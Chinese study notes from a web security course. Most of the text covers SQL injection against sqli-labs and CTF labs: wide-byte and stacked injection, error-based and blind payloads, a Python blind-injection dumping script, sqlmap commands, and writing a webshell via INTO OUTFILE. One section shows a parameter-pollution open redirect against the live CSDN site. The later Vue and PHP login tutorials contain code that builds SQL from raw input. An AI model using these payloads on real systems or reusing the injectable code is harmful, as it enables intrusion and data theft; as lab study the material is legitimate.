宽字节注入,堆叠注入,绕过 ,Tamper脚本

宽字节注入 —%df

1.涉及函数

1
2
3
4
5
addslashes()   /函数返回在预定义字符之前添加反斜杠的字符串

mysql_real_escape_string() /函数转义 SQL 语句中使用的字符串中的特殊字符

mysql_escape_string() /转义一个字符串

2.原理
先了解一下什么是窄、宽字节已经常见宽字节编码:

  • 当某字符的大小为一个字节时,称其字符为窄字节.
  • 当某字符的大小为两个字节时,称其字符为宽字节.
  • 所有英文默认占一个字节,汉字占两个字节
  • 常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等

3.逃逸过程:
and被php转义后就是%df
(1)举例命令

1
?id=1%df' and 1=1--+

%df’=>%df'(单引号会被加上转义字符\)
%df'=>%df%5c’(\的十六进制为%5c)
%df%5c’=>縗’(GBK编码时会认为这时一个宽字节)
‘成功逃逸,sql语法正确
3.例题
sql-labs-32关
(1)先找闭合点,输入?id=1’,页面显示1的后面多了 \ z在输入id=1” id=’1’ ,发现单引号后面都有 \ 猜测 \ 把单引号转义了,考虑用宽字节注入%df
image.png
(2)输入id=1%df’后报错,单引号是闭合点。具体代码如下

1
http://192.168.2.2/sqli/Less-32/?id=1%df' and (updatexml(1,concat(0x7e,(select database()),0x7e),1))-- -

结果:
image.png

4.锟斤拷:锟斤拷通常指的是在网络或计算机系统中出现的一串特殊乱码字符,这种现象多出现在字符编码转换过程中。具体来说,锟斤拷出现的原因是因为在将某些字符从GBK编码转换为Unicode编码时,存在一些字符是Unicode无法表示的。为了在Unicode中有一个地方表示这些字符,Unicode官方定义了一个特殊的占位符,即U+FFFD REPLACEMENT CHARACTER。
在UTF-8编码中,这个占位符被编码为EFBFBD。当这些编码被错误地识别为GBK编码时,由于GBK是一个双字节编码,它会把EFBFBD这样的字节序列错误地解释为一个汉字,于是产生了像“锟斤拷”这样的乱码。其中,“锟”对应于EFBF,“斤”对应于BDEF,“拷”对应于BFBD。

堆叠注入

1.堆叠注入的含义
从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。
注意不是每个数据库环境都可以支持堆叠注入。
2.MySQL多语句执行

1
2
3
select *from user;select * from emails
select 1,(select group_concat(1,2,3)),3
select 1,2,3 union select 4,5,6

3.例题
sql-labs-38关
源代码中有mysqli_multi_query 可以用堆叠注入
?id=-1’;insert into users(id,username,password) values (‘17’,’Jay’,666’)– +
输入id=17的结果:
image.png

绕过

参数污染

1.同一个参数发出两个值,不同的浏览器会接收不同的参数,参数可能是第一个或者第三个,不可能是中间的

1
2
3
4
5
6
7
8
9
10
?p=usa&p=china
百度1
雅虎2
google 1+2
php/apache 2
flask 1
jsp/tomcat 1
CGI/apache 1
python/apache 1+2
asp/iis

2.例如,在CSDN找一个下载sql server的外链接:https://link.csdn.net/?target=https%3A%2F%2Fwww.microsoft.com%2Fzh-cn%2Fsql-server%2Fsql-server-downloads
将其复制到Yakit软件用URL解码,解码为https://link.csdn.net/?target=https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads
image.png

  1. https://link.csdn.net/?target=https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 后加一个参数target=,即https://link.csdn.net/?target=https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads?target=https://tb.alicdn.com/snapshot/index.html ,为了方便理解,我们把两个target的内容换一下位置,即:https://tb.alicdn.com/snapshot/index.html?target=https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads因为CSDN是用java写的,当点击这个网址时,根据 jsp/tomcat 1 会跳到第一个参数。如下图,从CSDN跳到了淘宝。
    image.png

image.png

常见绕过

详细SQL注入绕过技术见链接:https://cloud.tencent.com/developer/article/1849607

Sqlmap的Tamper脚本

Tamper脚本的介绍:

它允许用户在执行SQL注入攻击时对 payload(攻击载荷)进行修改,以绕过目标服务器的防护机制,如WAF(Web Application Firewall)或IDS(Intrusion Detection System)。这些防护系统通常会检测和过滤掉某些特定的关键字或模式,以防止恶意攻击。Tamper脚本对payload进行转换或编码,使其能够逃避这些检测。

Sqlmap常用命令(面试考)

Image.png

Sqlmap跑sqli-labs 26a关

在vscode中新建1.py 并在它中编写26a关的Tamper脚本,将其复制到kali机的/usr/share/sqlmap/tamper/ 的目录下。在kali的命令窗口运行以下命令;

1
sqlmap -u "http://192.168.2.2/sqli/Less-26a/?id=1" -p id --dbms=MySQL --tamper="1.py" --dbs --batch

成功爆出数据库
Image.png

SQL注入之盲注型,报错型,postman软件的使用

SQL数字型注入

1.打开虚拟机win10hei的phpstudy,开启Apache和Mysql,使用php5.5.9,打开网站,点击sqli,点击下图圈内的数据,初始化数据库。
image.png
2.进入第二关,按键盘的F12,点击HackBar,输入http://192.168.17.128/sqli/Less-2/?id=1,没报错,我们要找的是报错点
image.png
3.查看第二关的代码,发现这关的解法是数字型注入
image.png
4.id=1 后面加 order by 4,发现字段没有四列,所以一般是3列。开始查表。和之前的一样的套路,union联合注入
image.png
5.查字段名
image.png
6.查字段,得到我们想要的结果
image.png
7.十种常见的SQL报错函数 (注意:函数前用and连接)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
(select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -

(extractvalue(1,concat(0x7e,(select user()),0x7e)))-- -

(updatexml(1,concat(0x7e,(select user()),0x7e),1))-- -

geometrycollection((select * from(select * from(select user())a)b))-- -

multipoint((select * from(select * from(select user())a)b))-- -

polygon((select * from(select * from(select user())a)b))-- -

multipolygon((select * from(select * from(select user())a)b))-- -

linestring((select * from(select * from(select user())a)b))-- -

multilinestring((select * from(select * from(select user())a)b))-- -

exp(~(select * from(select user())a))-- -

postman软件的使用

1.在虚拟机win10hei的火狐浏览器访问老师给的ctf show题目链接:http://2bedbecd-56d1-426b-a35a-4b49deea4522.challenge.ctf.show/
image.png
2.键入F12,点击网络,点击重新加载,找到API,即名字为v3.php?page=1&limit=10的文件,复制右边栏GET请求的网址,粘贴到postman的发包框内
image.png
image.png
3.发送请求方式选择GET,在表格第三行输入id和1,点击send,查询到了id=1的用户名和密码。然后找闭合点,在1的后面加单引号,再点击send,发现底栏报错,说明1’是闭合点
image.png
image.png
4.1’的后面加order by 4 – -判断数据表是否有4列,结果报错,改成order by 3 – -,可以显示数据,说明只有3列
image.png
5.查字段名,把1改成-1,在表格1’后面使用union联合sql语句,和之前的报错型的步骤基本相同
-1' union select 1,group_concat(column_name) ,3 from information_schema.columns where table_name='ctfshow_user3' and table_schema=database();-- -
6.查字段,在表格1’后面使用union联合sql语句。
-1' union select 1,2,group_concat(id,"~",username,"~",password) from ctfshow_user3 ;-- -
因为我们要得到的是username=’flag’的密码,所以要删除username,最终为
-1' union select 1,2,group_concat(id,"~",username,"~",password) from ctfshow_user3 ;-- -
image.png

SQL注入之盲注型,布尔

1.SQL注入理论
(1)SQL注入的含义:SQL注入用户通过浏览器或者其他客户端将恶意SQL语句插入到网站参数中,网站应用程序未经过过滤,将恶意SQL语句带入数据库进行执行,通过数据库获取了敏感的信息或者执行了其他恶意操作。
(2)
Image.png
(3)
Image.png
(4)
Image.png
(5)
Image.png
(6)
Image.png
2.id=1'and ascii(substring(database(),1,1))=115--+,根据提供的语句,以sqli的第6关为例,编写一个SQL盲注的python脚本并运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests

session = requests.session()

url = 'http://192.168.17.128/sqli/Less-6/?id=1"'


def db():
name = ""
for i in range(1, 50):
begin = 32
end = 128
tmp = (begin + end) // 2
while begin < end:
paramsGet = url + "/**/and/**/ascii(substring((select group_concat(id,username,password) from users),{0},1))>{1}--+".format(
i, tmp)
response = session.get(paramsGet)
if 'You are in...........' in response.text:
begin = tmp + 1
tmp = (begin+end) // 2
else:
end = tmp
tmp = (begin+end) // 2
if tmp == 32:
break
name += chr(tmp)
print(name)


db()

分析如下:
(1)import requests:导入 requests 模块,用于发送 HTTP 请求。
(2)session = requests.session():创建一个 requests 会话(session)对象。
(3)url = ‘http://192.168.17.128/sqli/Less-6/?id=1"':设置目标 URL,其中 id 参数的值为 1”,这里是一个潜在的注入点。
(4)利用名为 db 的函数,从数据库中逐个获取字符来构建字符串。代码通过二分法逐个猜测每个字符的 ASCII 值,并通过注入的操作获取其中的数据。
3.得到我们想要的字段。
image.png

布尔盲注实例,时间盲注,控制网站,sqlmap工具的使用。

布尔盲注实例

以ctf_show第四关为例。
image.png
按下F12,获得一个get请求的api,打开postman。
image.png
能够得到对应的json,说明是一个api。
image.png
这里id=1’and 1=2– -正常回显结果为空,id=1’and 1=1– -正常回显显示id=1的结果。闭合之后再去进行测试,否则就会报错。
image.png
image.png
查询数据库开头第一个字母是不是r。
image.png
这里直接用大于,小于进行判断第一个首字母。
image.png
直接换成昨天写好的布尔盲注的脚本,url换成该题目的api。
image.png
因为输入id=1结果会出现admin,在if这里可以输入admin。
image.png
输出结果正常
image.png
之后就去各个去爆就好了,爆表,爆字段这些:
image.png
flag结果展示:
image.png
运行与调试
可以查看到每一步代码的运行过程。
image.png

时间盲注(睡眠盲注)

发现不管输入什么都是直接显示。
image.png

1
2
3
id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))-- -#三元运算,第一个表示条件,第二个1表示成功的时候,sleep(5)表示失败就休息
SELECT BENCHMARK(1000000, SHA1('Hello World'));
id=1' and If(ascii(substr(database(),1,1))=114,1,BENCHMARK(5000000, SHA1('Hello World')))-- -

可以看到当=115时马上就显示
image.png
可以看到当=114时一直处于加载状态,之后才出现结果。
image.png
直接用时间盲注的脚本。
时延盲注1.py
image.png

控制网站

?id=-1’ union select 1,@@datadir,3– -显示phpstudy的网站根目录。
image.png
secure_file_priv=””将这段代码放入my.ini的[client]的上一行。这个文本的位置在phpstudy的设置中,点击配置文件,mysql.ini。
image.png
之后输入这段代码:
?id=-1’ union select 1,@@datadir,@@secure_file_priv – -,password这里显示为空说明可以注入,在没有这个secure_file_priv=””时password显示的是NULL。NULL代表不能在任何地方注入文件。
image.png
?id=-1’ union select 1,@@datadir,”“ into outfile “C:\phpstudy_pro\WWW\phpinfo.php” – -
image.png
此时在www的根目录下产生了phpinfo.php。
image.png
?id=-1’ union select 1,@@datadir,”“ into outfile “C:\phpstudy_pro\WWW\tfk.php” – -#在windows中用//表示/。第一个/表示转义符,两个/才能表示本身的含义。system表示系统命令执行函数,这个函数通过get参数进行执行,创造了一个webshell后台。

打开网站输入?a=dir
image.png
打开网站输入?a=whoami
image.png
打开网站输入?a=systeminfo输出系统的基本信息
image.png

sqlmap的使用

sqlmap的使用

1.下载sqlmap的压缩包,附件如下
sqlmap-1.7.zip
2.在解压缩后的sqlmap文件夹的路径下输入cmd,进入命令行模式。
image.png
3.输入sqlmap -h可以查看sqlmap的帮助信息和参数列表,以便正确使用该工具执行各种SQL注入测试和攻击。
4.因为主机上执行sqlmap命令时产生了奇怪的报错,转用虚拟机。以sqli的第一关为例,保证虚拟机win10hei和kali都是桥接模式,保证他俩的IP地址在同一网段。在kali的命令行输入爆库命令 sqlmap -u "[http://192.168.2.118/sqli/Less-1/?id=1"](http://192.168.2.70/sqli/Less-1/?id=1") --dbs,得到库名。注意192.168.2.118是win10hei的IP地址。
image.png
5.输入爆表命令:sqlmap -u "[http://192.168.2.118/sqli/Less-1/?id=1"](http://192.168.2.70/sqli/Less-1/?id=1") --batch -D security --tables
image.png
6.输入爆字段名命令sqlmap -u "[http://192.168.2.118/sqli/Less-1/?id=1"](http://192.168.2.70/sqli/Less-1/?id=1") --batch -D security -T users --columns
image.png
7.输入爆字段命令sqlmap -u "[http://192.168.2.118/sqli/Less-1/?id=1"](http://192.168.2.70/sqli/Less-1/?id=1") --batch -D security -T users -C "id,username" --dump
image.pngpost请求:
以第11关为例:
image.png
打开yakit免配置启动。
输入虚拟机的ip地址进入第11关。
image.png
用yakit进行抓包发送到web fuzzer
image.png
将1.txt保存下来存在sqlmap的上一级目录中
输入命令:

1
2
python sqlmap.py -r "../1.txt"  --dbs --batch
增加等级与风险: python sqlmap.py -r "../1.txt" --dbs --batch --level=5 --risk=3

此时爆出数据库。
image.png

SQL注入之联合型

安装PHP5.5.9,HackBar

1.打开虚拟机win10hei的PHPstudy,启动Apache和Mtsql,在软件管理的php界面下载php5.5.9,
image.png
2.在下图的路径输入cmd,在输入以下命令:

image.png

1
2
3
4
5
mysql  -u root -p
show databases;
use security;
show tables;
select 1,2,3;

Image.png
3.下载火狐插件HackBar 它可以发包。把这个插件安装到浏览器。按键盘上的F12可以唤起它。
image.png
image.png
image.png
4.information_schema是在mysql5.0之后产生的(面试题考点)

SQL联合注入步骤

1
2
3
4
5
6
7
8
9
10
联合(union)的顺序:查表->查字段名->查字段

SQL查表
select 1,group_concat(table_name) ,3 from information_schema.tables where table_schema=database();-- -

SQL查字段名
select 1,group_concat(column_name) ,3 from information_schema.columns where table_name='users' and table_schema=database();-- -

SQL查字段
select group_concat(id,"~",username,"~",password) from users ;-- - //这三条语句必记

1.把sqli文件复制到phpstudy的根目录下,使用php5.5.9,打开网站,点击sqli,进入第一关
image.png
2.格式:本地地址或虚拟机地址/sqli/Less-1/?id=x union xxxxxxxxxxxxxxxx – -
注意:x的值为-1或0 – -为SQL的注释
3.先判断是否闭合,输入?id=1 再点击Excute发包。
image.png
4.然后在1后面加 ‘ 发现报错,如图,有5个分号,1和5抵消,2和3抵消,剩下4,说明没有闭合,1’就是我们要找的。
image.png
5.其次,开始查表,把1改成0,在0’后面加一个空格,然后加union ,在union后面加查表语句 select 1,group_concat(table_name) ,3 from information_schema.tables where table_schema=database(); 这条语句后要加 – - 将后面的内容注释掉。
最终语句为
[http://localhost/sqli/Less-1/?id=0'](http://localhost/sqli/Less-1/?id=0') union select 1,group_concat(table_name) ,3 from information_schema.tables where table_schema=database();-- -

image.png
6.查字段名,把原来语句的基础上,把查表语句改成查字段语句,然后加上– -
[http://localhost/sqli/Less-1/?id=0'](http://localhost/sqli/Less-1/?id=0') union select 1,group_concat(column_name) ,3 from information_schema.columns where table_name='users' and table_schema=database();-- -

image.png
7.最后查字段,把原来语句的基础上,把查字段名语句改成查字段语句,在 group_concat(id,”“,username,”“,password)的group前加上 1, 在password)后面加 ,3 最后再完整语句后加上– -
[http://localhost/sqli/Less-1/?id=0'](http://localhost/sqli/Less-1/?id=0') union select 1, group_concat(id,"~",username,"~",password),3 from users ;-- -

8.最终得到我们想要的整列的username和整列的password
Image.png

axios和api.php的使用

axios的使用

1.在vscode创建index.php,导入index.js,vue.js,index.js,axios.min.js四个包
html使用vue材料包.zip
2.(1)编写index.php,写入以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<link rel="stylesheet" href="./index.css">
<script src="./vue.js"></script>
</head>

<body>

<div id="app">
<div class="login1">
<div class="login2">
<i class="el-icon-reading"></i>
<h1>图书管理系统登录</h1>
<el-input placeholder="请输入内容" v-model="userData.username" clearable></el-input>
<el-input placeholder="请输入内容" v-model="userData.password" clearable show-password></el-input>
<el-button type="primary" @click="login">登录</el-button>
</div>
</div>
</div>
<style>
.el-icon-reading {
font-size: 100px;
}

.login2 {
text-align: center;
justify-content: center;
height: 20vh;
width: 20vw;
}

.login1 {
display: flex;
flex-direction: column;
align-items: center;
background-image: url(./img/6.jpg);
background-repeat: no-repeat;
background-size: 100% 100%;
background-attachment: fixed;
width: 100vw;
height: 100vh;

}
</style>
<script src="./axios.min.js"></script>
<script src="./index.js"></script>
<script>
new Vue({
el: '#app',
data: function() {
return {
visible: false,
userData: {
username: '',
password: '',
}
}
},
methods: {
login: function() {
axios.post('http://192.168.17.128/api.php', this.userData)
.then((response) => {
console.log(response);
if (response.data.includes('success')) {
window.location.href = "http://192.168.17.128/zhuye.php";
} else {
this.open4();
}
}

)
},
open4: function() {
this.$notify.error({
title: '错误',
message: '账号密码错误'
});
}
}
})
</script>
</body>

</html>

(2)45到78行使用了axios和数据绑定,我们来进行分析。代码创建了一个Vue实例并绑定到id为”app”的元素上。在data选项中定义了一些数据属性,包括visible、userData和其中的username和password属性。
在methods选项中定义了一个名为login的方法。该方法使用Axios发送一个POST请求到”http://192.168.17.128/api.php",并传递userData作为请求的参数。请求成功后,通过判断返回的响应数据中是否包含"success"来确定登录是否成功。如果成功,代码将跳转到"http://192.168.2.70/zhuye.php";如果失败,将调用open4方法。
open4方法使用了Vue的$notify方法来显示一个错误通知,通知的标题是”错误”,内容是”账号密码错误”。

api.php的使用

1.编写api.php,写入以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE");
header("Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With");
$link = mysqli_connect("192.168.17.128", "root", "root", "security") or exit(json_encode(['error' => '数据库连接失败!']));
mysqli_query($link, "set names utf8");


$requertPath = $_SERVER['REQUEST_URI'];
$requestMethod = $_SERVER['REQUEST_METHOD'];
if ($requertPath === '/api.php' && $requestMethod === 'POST') {
$inputJSON = file_get_contents("php://input");
$input = json_decode($inputJSON, true);
if ($input === null) {
header('HTTP/1.1 400 Bad Request');
echo json_encode(['error' => 'Invalid JSON']);
} else {

$username = $input['username'];
$password = $input['password'];
$sql = "SELECT username, password FROM users WHERE username='$username' and password='$password'LIMIT 0,1";
$result = mysqli_query($link, $sql);
if (mysqli_num_rows($result) > 0) {
echo 'success';
} else {
echo '账号和密码错误';
}
}
} else {
header('http/1.1 400 Bad Request');
echo json_encode(['error' => 'Invalid JSON']);
}


我们对这段代码进行分析:
(1)首先通过设置HTTP头部信息,允许跨域请求,这在前后端分离的项目中是非常常见的。
(2)使用mysqli_connect函数连接到MySQL数据库服务器,并选择名为”security”的数据库。如果连接失败,则会返回一个包含错误信息的JSON响应并退出程序。
(3)根据接收到的HTTP请求的路径和方法,判断是否为预期的接口路径和请求类型。如果是预期的POST请求,就从请求中获取JSON格式的数据,并解析为关联数组。
(4)如果解析JSON数据出错,返回400 Bad Request响应;否则,从接收到的数据中获取用户名和密码,并构造一个SQL查询语句,查询名为”users”的表中是否存在对应的用户名和密码记录。
(5)如果查询结果存在匹配的用户名和密码,则返回”success”字符串,表示登录成功;否则,返回”账号和密码错误”字符串,表示登录失败。在未收到预期的路径和请求方法时,同样返回400 Bad Request响应。
2.把index.php和api.php复制到虚拟机win10hei的phpstudy的根目录下,打开网站,点击登录,可以跳转到主页页面。
图片2.png
图片1.png

文件操作

1.找到这个文件,双击打开它
open(文件路径,mode=””,encoding=””)
mode:打开这个文件的目的是什么,分为读和写
pycharm里面创建的文件默认是UTF-8
文件路径:
绝对路径:
d:/test1/XXX.txt #这种路径不安全,可能不存在
相对路径:相对你当前的程序而言你要找的文件在哪(相对于当前你的程序所在的文件夹)
../ 表示上一次文件夹
mode:
r read(读取)

读取

用open打开文件路径不报错就说明打开成功,找文件一定要找到相对应的路径
image.png
你代表你的程序,文代表文件,f相当于一个管道,mode决定了方向因为是读取,所以市场文件的方向出发到你的程序终止,为什么open的时候没有把整个文件全部加载到内存呢?因为对于该文件是没办法判断大小的
image.png
这里直接print(f.read()),直接输出资源.txt里面的内容
image.png
centent=f.read()#全部读取
image.png
经过自我摸索write写的方法已经实践出来了
image.png
结果如下:
image.png
readline这是一行一行的读取文本的内容,可以接着读取
image.png

strip可以消除字符串左右两端的空白。空格,换行符,制表符
image.png
那用什么方法可以看到换行符呢?用readlines进行查看,此时输出的是一个数组
image.png
readlines和f.read()都无法解决文件太大的问题,所以readline更加重要
最重要的文本读取方式(必须掌握)
image.png

写入

w:write(写入),write可以创建在该文件路径没有的文件,例如,下面美女.txt是不存在的,当我输入这一段之后进行的是创建了这个美女.txt。
w模式下,如果文件不存在就会自动的创建一个文件。
image.png
在美女txt中随便输入一些内容
image.png
再次运行发现文件清空:
image.png
写入一个嘎嘎威在这个美女.txt中
image.png
image.png
写入之后记得进行close
左边是文件,右边是程序,进行调用插根管子.
image.png

image.png
案例:
image.png
可是发现一个问题就是写入之后数据是连在一起的
image.png
这需要进行换行,可以直接在lst[0]+”\n”:
也可以直接去在每一次输出的后面加上f.write(“\n”),也可以实现换行的效果.
image.png
image.png
这个只是单个数据的输出,如果是多个数据那咋办?所以此时就需要用到for循环
image.png
如果把f=open(file=”美女.txt”,mode=”w”,encoding=”utf-8”)放入到循环体中发现永远都是处于清空状态,只有最后一个数据写入时才有效果.此时发现只有赵敏和?.
image.png
将管道放在循环体外就可以正常写入

接着就是a模式:
image.png
此时输出结果为:
image.png
整个笔记为:
image.png

用vue2写网页

一.引入按钮

1.访问element zn-cn官网,链接:https://element.eleme.cn/#/zh-CN/component/installation 引入样式和组件库
2.在左侧的菜单栏的安装,复制以下代码,在vscode中新建index.php文件,粘贴到index.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<link rel="stylesheet" href="https://unpkg.com/element-ui/lib/theme-chalk/index.css">

<div id="app"> //3,4行是body中的内容
</div>

<!-- import Vue before Element -->
<script src="https://unpkg.com/vue@2/dist/vue.js"></script>
<!-- import JavaScript -->
<script src="https://unpkg.com/element-ui/lib/index.js"></script>
<script>
new Vue({
el: '#app',
data: function() {
return { visible: false }
}
})
</script>

3.在左侧的菜单栏找到button按钮,复制一个蓝色按钮的代码,粘贴到

中。复制以下三个链接在浏览器打开,然后复制代码,新建index.css vue.js index.js,把代码对应粘贴到这三个文件,引入样式和组件库 。
1.https://unpkg.com/element-ui/lib/theme-chalk/index.css
2.https://unpkg.com/vue@2/dist/vue.js
3.https://unpkg.com/element-ui/lib/index.js
image.png
4.右击index.php,在文件管理器中显示,复制上图四个文件,粘贴到虚拟机win10hei的PHPstudy的根目录下,ctrl+s保存,在phpstudy中打开网站,出现按钮。
image.png

二.制作网页

1.仿照老师发的网页图,制作一个图书管理系统
b93486f7a701fa3193a7a784f352c91.png
2.因为还在编写网页,还未上传结果图

image.png

image.png

image.png

用vue写网页

一.引入Element按钮,Container布局容器,菜单侧边栏

1.简单回顾vue的安装和创建项目。
2.访问Element官网。 链接:https://element-plus.org/zh-CN/component/button.html 选择红色按钮,
复制红色按钮的代码到vscode的app.vue文件。

1
2
3
4
5
6
7
8
9
10
<script setup>
import { ElButton } from 'element-plus'
</script>

<template>
<el-button type="info">Danger</el-button>
</template>

<style scoped>
</style>

3.发现红色按钮位置是在正中间,是错误的。后来经过老师的提示,要把main.js文件中下列居中代码删掉。
image.png

1
import './assets/main.css'

4.找到要用到的布局,先查看它的代码,再复制到app.vue。
image.png

1
2
3
4
5
6
7
8
9
<div class="common-layout">
<el-container>
<el-aside width="200px">Aside</el-aside>
<el-container>
<el-header>Header</el-header>
<el-main>Main</el-main>
</el-container>
</el-container>
</div>

5.找到要用到的菜单侧边栏,先查看它的代码,再复制到app.vue。
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<template>
<el-row class="tac">
<el-col :span="12">
<h5 class="mb-2">Default colors</h5>
<el-menu
default-active="2"
class="el-menu-vertical-demo"
@open="handleOpen"
@close="handleClose"
>

<el-menu-item index="2">
<el-icon><icon-menu /></el-icon>
<span>Navigator Two</span>
</el-menu-item>
<el-menu-item index="3" disabled>
<el-icon><document /></el-icon>
<span>Navigator Three</span>
</el-menu-item>
<el-menu-item index="4">
<el-icon><setting /></el-icon>
<span>Navigator Four</span>
</el-menu-item>
</el-menu>
</el-col>
<el-col :span="12">
<h5 class="mb-2">Custom colors</h5>
<el-menu
active-text-color="#ffd04b"
background-color="#545c64"
class="el-menu-vertical-demo"
default-active="2"
text-color="#fff"
@open="handleOpen"
@close="handleClose"
>
<el-sub-menu index="1">
<template #title>
<el-icon><location /></el-icon>
<span>Navigator One</span>
</template>
<el-menu-item-group title="Group One">
<el-menu-item index="1-1">item one</el-menu-item>
<el-menu-item index="1-2">item two</el-menu-item>
</el-menu-item-group>
<el-menu-item-group title="Group Two">
<el-menu-item index="1-3">item three</el-menu-item>
</el-menu-item-group>
<el-sub-menu index="1-4">
<template #title>item four</template>
<el-menu-item index="1-4-1">item one</el-menu-item>
</el-sub-menu>
</el-sub-menu>
<el-menu-item index="2">
<el-icon><icon-menu /></el-icon>
<span>Navigator Two</span>
</el-menu-item>
<el-menu-item index="3" disabled>
<el-icon><document /></el-icon>
<span>Navigator Three</span>
</el-menu-item>
<el-menu-item index="4">
<el-icon><setting /></el-icon>
<span>Navigator Four</span>
</el-menu-item>
</el-menu>
</el-col>
</el-row>
</template>

<script lang="ts" setup>
import {
Document,
Menu as IconMenu,
Location,
Setting,
} from '@element-plus/icons-vue'
const handleOpen = (key: string, keyPath: string[]) => {
console.log(key, keyPath)
}
const handleClose = (key: string, keyPath: string[]) => {
console.log(key, keyPath)
}
</script>

6.在app.vue中删除下列代码的string

1
2
3
4
5
6
const handleOpen = (key: string, keyPath: string[]) => {
console.log(key, keyPath)
}
const handleClose = (key: string, keyPath: string[]) => {
console.log(key, keyPath)
}

7.把span=12改成span=24,侧边栏span=24表示占满 el-col :span=”24”表示竖直方向占满
image.png
8.在侧边栏导入图标,复制代码在对应的用户管理,权限管理,商品管理,订单管理语句各自的前一行。
image.png
image.png

二.在el-header设置阴影,圆角边框

1.在el-header中创建styled-box1类。
image.png
在style创建styled-box1样式。
image.png
2.CTRL+S保存,在终端输入npm run dev, 结果如下图
image.png
3.引入搜索框input和搜索,添加用户两个按钮,注意el-row是行,el-col是列。

1
2
3
4
5
6
7
<el-row>
<el-col :span="4"
><el-input v-model="input" placeholder="请输入搜索内容"
/></el-col>
<el-col :span="2"><el-button type="success">搜索</el-button></el-col>
<el-col :span="2"> <el-button type="success">添加用户</el-button></el-col>
</el-row>

image.png

三.引入表格和分页

1.找到表格,复制代码引入app.vue
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<template>
<el-table :data="tableData" style="width: 100%">
<el-table-column prop="date" label="Date" width="180" />
<el-table-column prop="name" label="Name" width="180" />
<el-table-column prop="address" label="Address" />
</el-table>
</template>

<script lang="ts" setup>
const tableData = [
{
date: '2016-05-03',
name: 'Tom',
address: 'No. 189, Grove St, Los Angeles',
},
{
date: '2016-05-02',
name: 'Tom',
address: 'No. 189, Grove St, Los Angeles',
},
{
date: '2016-05-04',
name: 'Tom',
address: 'No. 189, Grove St, Los Angeles',
},
{
date: '2016-05-01',
name: 'Tom',
address: 'No. 189, Grove St, Los Angeles',
},
]
</script>

2.找到分页,引入分页
image.png

1
2
3
4
5
6
7
8
<template>
<el-pagination
:page-size="20"
:pager-count="11"
layout="prev, pager, next"
:total="1000"
/>
</template>

刷新浏览器页面,最终的页面如下:
image.png

PHP跳转页面,PHP写评论区和文件上传框

一.PHP跳转页面

1.cookie和session的区别
Cookie数据存储在本地,session在服务器下发cookie
2.首先,创建并编写index.php , link.php, zhuye.php三个文件并用vscode打开。先编写index.php文件,用from表单写一个简单的登录页面。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!DOCTYPE html>
<?php header('Content-Type: text/html; charset=utf-8');?>

<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>汗流浃背了</title>
</head>
<body>
<form method="post" action="link.php">
<tr>
<td>用户名</td>
<td><input type="text" name="username" ></td></tr><br>
<tr>
<td>密码&nbsp&nbsp&nbsp</td>
<td><input type="password" name="password" ></td></tr><br>
<tr>
<td><input type="checkbox"name="remeber" value="yes" >记住密码</td><br>
<td><input type="submit" name="submit" value="提交" ></td>
<td><input type="reset" value="重置" ></td>
</tr>

</body>
</html>

3.再编写link.php,用于连接数据库。用session存储index.php传递过来的用户名和密码
然后在数据库中查询是否存在该用户名和密码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
header('content-type: text/html; charset=utf-8');
session_start();

if(isset($_POST['submit'])){
$u = trim($_POST['username']);
$p = trim($_POST['password']);
$link=mysqli_connect("127.0.0.1","root","root","security")or exit("Error connecting");
mysqli_query($link,"set names utf8");
$sql= "select * from users where username='$u' and password='$p'";
$result=mysqli_query($link, $sql) ;
if(mysqli_num_rows($result)>=1){
$_SESSION['user']=$u;
setcookie('password',$p,time()+7*12*60*60);
header('Location:zhuye.php');
exit();
}else{
echo "<br>";
echo '用户名或密码错误!请重新输入!';
//sleep(3);
echo '<h1><a href="./index.php">返回</a></h1>';
}
}

?>

4.编写 zhuye.php,传递数据库对应的用户名并显示。然后实现用户注销的功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
session_start();

header('Content-Type: text/html; charset=utf-8');

if(isset($_SESSION['user'])){
